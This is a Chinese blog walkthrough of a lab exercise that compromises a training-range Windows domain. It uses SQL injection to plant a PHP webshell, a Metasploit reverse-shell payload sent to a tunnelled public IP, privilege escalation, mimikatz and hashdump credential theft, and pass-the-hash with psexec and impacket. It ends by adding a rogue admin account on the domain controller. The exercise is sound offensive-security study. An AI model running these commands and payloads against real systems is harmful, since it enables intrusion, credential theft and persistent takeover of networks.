【CTF】msf和impacket聯合拿域控內網滲透-拿域控

前言

  • 掌控安全裡面的靶場內網滲透,練練手!

內網滲透拿域控

環境://afsgr16-b1ferw.aqlab.cn/?id=1

1、進去一看,典型的sql注入

image-20210825220657141

2、測試了一下,可以爆庫,也可以寫一句話,並且還爆了絕對路徑,直接拿shell,進入主題

①將shell.php寫入網站根目錄,payload

//afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>"  into outfile 'C:/phpstudy/www/shell.php' 

image-20210825125125629

②蟻劍連接,發現許可權很低

image-20210825125351402

kali機的提權和後滲透方法

提權我們可以傳個木馬用msf試試,獲取按照系統修補程式來搜payload提權等等,這裡就用最快的方式,msf(注意:,下面講關於kali中msf怎麼內網穿透,方法太多了)

kali內網穿透用花生殼

拿到webshell之後,由於這個webshell是在公網的,無法訪問我們內網的kali,所以我們得將kali中的某個埠映射到公網

下載花生殼

1、可以看到kali的內網ip為192.168.0.108

image-20210825144201133

2、接著設置一下花生殼的配置

image-20210825144304538

3、可以看到我們映射到公網的ip和埠

image-20210825145021884

4、接著使用msf製作訪問我們公網ip和埠的後門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe

image-20210825145308619

4、打開msf的監聽

handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run

image-20210825145611133

5、執行webshell中的木馬

image-20210825150817771

sessions 1 //進入會話

6、發現無法不是最高許可權,getsystem/getprivs並未成功

image-20210825151006342

7、一般使用最多的是ms16_075的方式提權了,這個成功率高,試試

但是由於我們是內網,所以就必須準備兩個msf窗口才能使用msf的提取功能

msf窗口1執行監聽命令

image-20210825190615237

msf窗口2許可權低的那個會話執行提權命令

run exploit/windows/local/ms16_075_reflection_juicy lhost=103.46.128.46 lport=26240

image-20210825152946894

接著監聽的那個msf窗口1就獲得了一個system許可權的會話

image-20210825190550083

看路由器命令

route

image-20210825131602886

一般為了防止後門被人關掉,將其注入到其他程式中

ps 查看進程pid

image-20210825131738407

接著用migrate將我們後門注入到1816中,有效防止木馬掛了

migrate 1816

image-20210825131844343

通過shell命令進入命令窗口

image-20210825132018668

內網資訊收集

可以通過ifconfig看到內網ip

接著利用後滲透工具ping方法掃一下ip段,接著掃出三個ip存活

info post/multi/gather/ping_sweep //查看所需參數
run post/multi/gather/ping_sweep rhosts=10.0.1.4/24 //掃網段

image-20210825141018301

還有一種方法,arp掃ip段,用法差不多,這個掃的快一些比較推薦

run post/windows/gather/arp_scanner rhosts=10.0.1.4/24

image-20210825141236281

這是利用msf自帶工具掃描,接下來再演示使用nmap掃一下看看

首先添加一個路由如下命令

run get_local_subnets //查看網段
run autoroute -s 10.0.1.0/24
run autoroute -p //查看已添加的路由
background //保存session返回msf

image-20210825190957026

接著開啟socks4a服務,使用msf的輔助模組

use auxiliary/server/socks_proxy
set VERSION 4a //設置為socks4a
run

image-20210825135235850

接著設置/etc/proxychains.conf 中的內容改為下面展示截圖,kali自帶的代理工具

vim /etc/proxychains.conf 

image-20210825135313167

接著我們就可以利用proxychains4來進行連接3389埠,和進行內網ip段掃描,使用nmap掃描其內網ip及其埠等,但是掃的真的慢是我網太卡了么。

proxychains4 nmap -sT -Pn -p 22,80,445,3306,3389 10.0.1.0/24 --open

image-20210825162331493

看到好多445埠,這裡其實可以用永恆之藍的

當然,也可以選擇不用nmap掃描埠,我們可以用msf的模組掃描埠

use auxiliary/scanner/portscan/tcp 
set rhosts 10.0.1.6

image-20210826122250324

kali機用kiwi抓取密碼

也可以直接抓取管理員密碼

msf提供一些後滲透的模組

load -l 來查看有哪些模組

image-20210825132220021

其實kiwi就是mimikatz就是換了個名在這裡,然後載入kiwi

image-20210825132534386

查看當前kiwi的命令用help

help

image-20210826164747221

對10.0.1.4機子進行抓密碼,接著執行下面命令,就可以獲取管理員密碼,這個是對登陸過的帳號和密碼進行抓取

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

image-20210825155147593

獲得密碼
u:administrator
p:woshifengge1.

kali機hash傳遞得到會話

看到445埠就可以嘗試hash傳遞,在不需要密碼的情況下使用,發現10.0.1.6-10.0.1.8可以被利用

hashdump可獲取hash值,得是64位系統許可權才可執行

hashdump 
或者是 
run post/windows/gather/hashdump
或者是
run  post/windows/gather/smart_hashdump
以上都可以獲取hash值

background 返回

image-20210825204025897

Administrator:500:aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1009:aad3b435b51404eeaad3b435b51404ee:77be122bef1c2d43f67721c95114f46b:::

通過網段知道6-8有445可以利用smb的hash傳遞連接10.0.1.8這台機子,因為一般情況幾台機子的密碼都相同。

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp 
//正向連接
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83  #hashdump獲取的hash值進行

image-20210825211954287

image-20210826122139082

這裡發現10.0.1.8這台機子存在域控,dns一般是和域控綁定在一個伺服器上的

shell
ipconfig /all 

image-20210826111519161

shell查看域的命令

shell中命令使用查看是否存在域的方法

這裡明顯A1這台機子處於域中

1、查看域中電腦

net view //查看域中的電腦

image-20210826123626763

net view /domain //查看域

image-20210826123754506

根據ipconfig /all 可以知道域控主機的ip是10.0.1.6

hash傳遞並不能登陸進去

2、查看域中的電腦

就一台A1,這裡我們得通過A1去獲得域控

net view /domain:ZKAQ

image-20210826124241672

3、ping電腦名可以得到IP

ping A1

image-20210826152201980

ping zkaq.cn

image-20210826152226030

4、獲得所有域的用戶列表,有一個krbtgt就是域用戶

net user /domain

image-20210826152412178

5、獲取域用戶組資訊

net group /domain

image-20210826152604552

6、獲取當前域管理員資訊

net group "domain admins" /domain

image-20210826152743124

7、查看域時間及域伺服器的名字

net time /domain

image-20210826152822253

通過域的資訊收集得到DC.zkaq.cn 10.0.1.6這個就是域控

拓展,導入kiwi的命令使用

image-20210826154025355

1、msv列出NTLM

kiwi_cmd sekurlsa::msv

image-20210826154258459

2、kerberos抓密碼,發現全部加密了

kiwi_cmd sekurlsa::kerberos

image-20210826154520844

3、也可以用creds_all抓取密碼,但也明顯加密

creds_all

Username       Domain  NTLM                          
--------       ------  ----  
A1$            ZKAQ    3bf63ae494aee3a74fa90a41b9459df9  
Administrator  ZKAQ    61465a991b168727b65b3644aab823cd 
Administrator  A1      4d1de63584701c85b8b9eccf5243ef83 

Impacket實現域控NTML的hash傳遞

這裡發現密碼是無法獲取的,因為NTLM是密文,我們可以使用hash傳遞,不過這裡得使用Impacket的包

首先我們要先去GitHub下載源碼,或者直接使用

git clone //github.com/SecureAuthCorp/impacket.git

然後解壓縮,進入impacket

cd impacket/

然後運行

python setup.py install

工具都在這個目錄里impacket/examples

cd impacket/examples

image-20210826181929813

接著我們使用smbexec.py這個模組,用上面的ntml值hash傳遞登陸域控機子

proxychains4 python3 smbexec.py -hashes :61465a991b168727b65b3644aab823cd ZKAQ/[email protected]

成功拿下域控的超級管理員許可權

image-20210826182104275

接下來是基礎操作添加超管帳號,然後登陸域控

net user gylq ********** /add #密碼打長的,2008有限制,密碼不能太簡單
net localgroup administrators gylq /add #添加超管

image-20210826182456730

直接代理登陸域控10.0.1.6就報錯,這是域控機的守護機制

image-20210826184827868

需要使用他域內的機子去登陸,我們先登陸10.0.1.8,再登陸域控

遠程3389登陸域控

也可以用直接用抓取的密碼來代理登陸3389的埠等,只是演示一下

如果對方沒有開啟遠程連接,可以使用msf自帶命令啟動

run getgui -e

先登陸10.0.1.4,才發現這個不是域內機子,得去登陸10.0.1.8

image-20210825213850565

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.4

image-20210825155348203

也可以用代理直接連接10.0.1.8,來進行確定

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8 

image-20210826184255820

接著用10.0.1.8作為跳板登陸10.0.1.6,即域控機子

image-20210826185051021

成功登陸域控

image-20210826185312074

總結:這是kali中使用msf和impacket聯合拿域控

我的個人部落格

孤桜懶契://gylq.gitee.io